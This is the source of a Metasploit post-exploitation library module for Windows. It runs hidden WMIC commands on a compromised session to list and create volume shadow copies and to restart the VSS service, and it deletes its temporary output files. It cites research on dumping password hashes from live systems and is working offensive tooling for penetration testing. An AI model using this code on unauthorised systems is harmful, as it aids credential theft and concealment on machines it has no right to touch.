Files
metasploit-gs/lib/msf/core/post/windows/shadowcopy.rb
T
2013-03-07 18:20:08 -06:00

241 lines
6.5 KiB
Ruby

# -*- coding: binary -*-
require 'msf/core/post/windows/services'
module Msf
class Post
module Windows
# Based on the research from Tim Tomes and Mark Baggett, at
# http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html
module ShadowCopy
include Msf::Post::Windows::Services
#
# Get the device name for the shadow copy, which is used when accessing
# files on the volume.
#
def get_vss_device(id)
result = get_sc_param(id,'DeviceObject')
end
#
# Returns a list of volume shadow copies.
#
def vss_list
ids = vss_get_ids
shadow_copies = []
ids.each do |id|
print_status "Getting data for Shadow Copy #{id} (This may take a minute)"
shadow_copies << get_sc_details("\"#{id}\"")
end
return shadow_copies
end
#
# Use WMIC to get a list of volume shadow copy IDs.
#
def vss_get_ids
result = wmicexec('shadowcopy get id')
ids = result.scan(/\{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\}/)
return ids
end
#
# Get volume shadow storage parameters.
#
def vss_get_storage
storage={}
storage['AllocatedSpace'] = vss_get_storage_param('AllocatedSpace')
storage['MaxSpace'] = vss_get_storage_param('MaxSpace')
storage['UsedSpace'] = vss_get_storage_param('UsedSpace')
return storage
end
#
# Get detailed information about the volume shadow copy specified by +id+
#
def get_sc_details(id)
shadowcopy={}
shadowcopy['ID'] = id
shadowcopy['ClientAccessible'] = get_sc_param(id,'ClientAccessible')
shadowcopy['Count'] = get_sc_param(id,'Count')
shadowcopy['DeviceObject'] = get_sc_param(id,'DeviceObject')
shadowcopy['Differential'] = get_sc_param(id,'Differential')
shadowcopy['ExposedLocally'] = get_sc_param(id,'ExposedLocally')
shadowcopy['ExposedName'] = get_sc_param(id,'ExposedName')
shadowcopy['ExposedRemotely'] = get_sc_param(id,'ExposedRemotely')
shadowcopy['HardwareAssisted'] = get_sc_param(id,'HardwareAssisted')
shadowcopy['Imported'] = get_sc_param(id,'Imported')
shadowcopy['NoAutoRelease'] = get_sc_param(id,'NoAutoRelease')
shadowcopy['NotSurfaced'] = get_sc_param(id,'Notsurfaced')
shadowcopy['NoWriters'] = get_sc_param(id,'NoWriters')
shadowcopy['OriginiatingMachine'] = get_sc_param(id,'OriginatingMachine')
shadowcopy['Persistent'] = get_sc_param(id,'Persistent')
shadowcopy['Plex'] = get_sc_param(id,'Plex')
shadowcopy['ProviderID'] = get_sc_param(id,'ProviderID')
shadowcopy['ServiceMachine'] = get_sc_param(id,'ServiceMachine')
shadowcopy['SetID'] = get_sc_param(id,'SetID')
shadowcopy['State'] = get_sc_param(id,'State')
shadowcopy['Transportable'] = get_sc_param(id,'Transportable')
shadowcopy['VolumeName'] = get_sc_param(id,'VolumeName')
return shadowcopy
end
#
# Return the value of the +param_name+ for the volume shadow copy
# specified by +id+
#
def get_sc_param(id,param_name)
result = wmicexec("shadowcopy where(id=#{id}) get #{param_name}")
result.gsub!(param_name,'')
result.gsub!(/\s/,'')
end
#
# Return the value of the shadowstorage parameter specified by
# +param_name+
#
def vss_get_storage_param(param_name)
result = wmicexec("shadowstorage get #{param_name}")
result.gsub!(param_name,'')
result.gsub!(/\s/,'')
end
#
# Set the shadowstorage MaxSpace parameter to +bytes+ size
#
def vss_set_storage(bytes)
result = wmicexec("shadowstorage set MaxSpace=\"#{bytes}\"")
if result.include?("success")
return true
else
return false
end
end
#
# Create a new shadow copy of the volume specified by +volume+
#
def create_shadowcopy(volume)
result = wmicexec("shadowcopy call create \"ClientAccessible\", \"#{volume}\"")
retval = result.match(/ReturnValue = (\d)/)
case retval[1].to_i
when 0
print_status("ShadowCopy created successfully")
sc_id = result.match(/ShadowID = ("\{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\}")/)
return sc_id[1]
when 1
print_error("Access Denied")
when 2
print_error("Invalid Argument")
when 3
print_error("Specified volume not found")
when 4
print_error("Specified volume not supported")
when 5
print_error("Unsupported shadow copy context")
when 6
print_error("Insufficient Storage")
when 7
print_error("Volume is in use")
when 8
print_error("Maximum number of shadow copies reached")
when 9
print_error("Another shadow copy operation is already in progress")
when 10
print_error("Shadow copy provider vetoed the operation")
when 11
print_error("Shadow copy provider not registered")
when 12
print_error("Shadow copy provider failure")
else
print_error("Unknown error")
end
return nil
end
#
# Start the Volume Shadow Service
#
def start_vss
vss_state = wmicexec('Service where(name="VSS") get state')
if vss_state=~ /Running/
print_status("Volume Shadow Copy service is running.")
else
print_status("Volume Shadow Copy service not running. Starting it now...")
begin
ss_result = service_start("VSS")
case ss_result
when 0
print_status("Volume Shadow Copy started successfully.")
when 1
print_error("Volume Shadow Copy already running.")
when 2
print_error("Volume Shadow Copy is disabled.")
print_status("Attempting to re-enable...")
service_change_startup("VSS","manual")
ss_result = service_start("VSS")
if ss_result == 0
return true
else
return false
end
end
rescue
print_error("Insufficient Privs to start service!")
return false
end
end
return true
end
#
# Execute a WMIC command
#
def wmicexec(wmiccmd)
tmpout = ''
session.response_timeout=120
begin
tmp = session.fs.file.expand_path("%TEMP%")
wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmiccmd}", nil, {'Hidden' => true})
sleep(2)
#Making sure that wmic finishes before executing next wmic command
prog2check = "wmic.exe"
found = 0
while found == 0
session.sys.process.get_processes().each do |x|
found =1
if prog2check == (x['name'].downcase)
sleep(0.5)
found = 0
end
end
end
r.close
# Read the output file of the wmic commands
wmioutfile = session.fs.file.new(wmicfl, "rb")
until wmioutfile.eof?
tmpout << wmioutfile.read
end
wmioutfile.close
rescue ::Exception => e
print_error("Error running WMIC commands: #{e.class} #{e}")
end
# We delete the file with the wmic command output.
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
c.close
tmpout.gsub!(/[^[:print:]]/,'') #scrub out garbage
return tmpout
end
end
end
end
end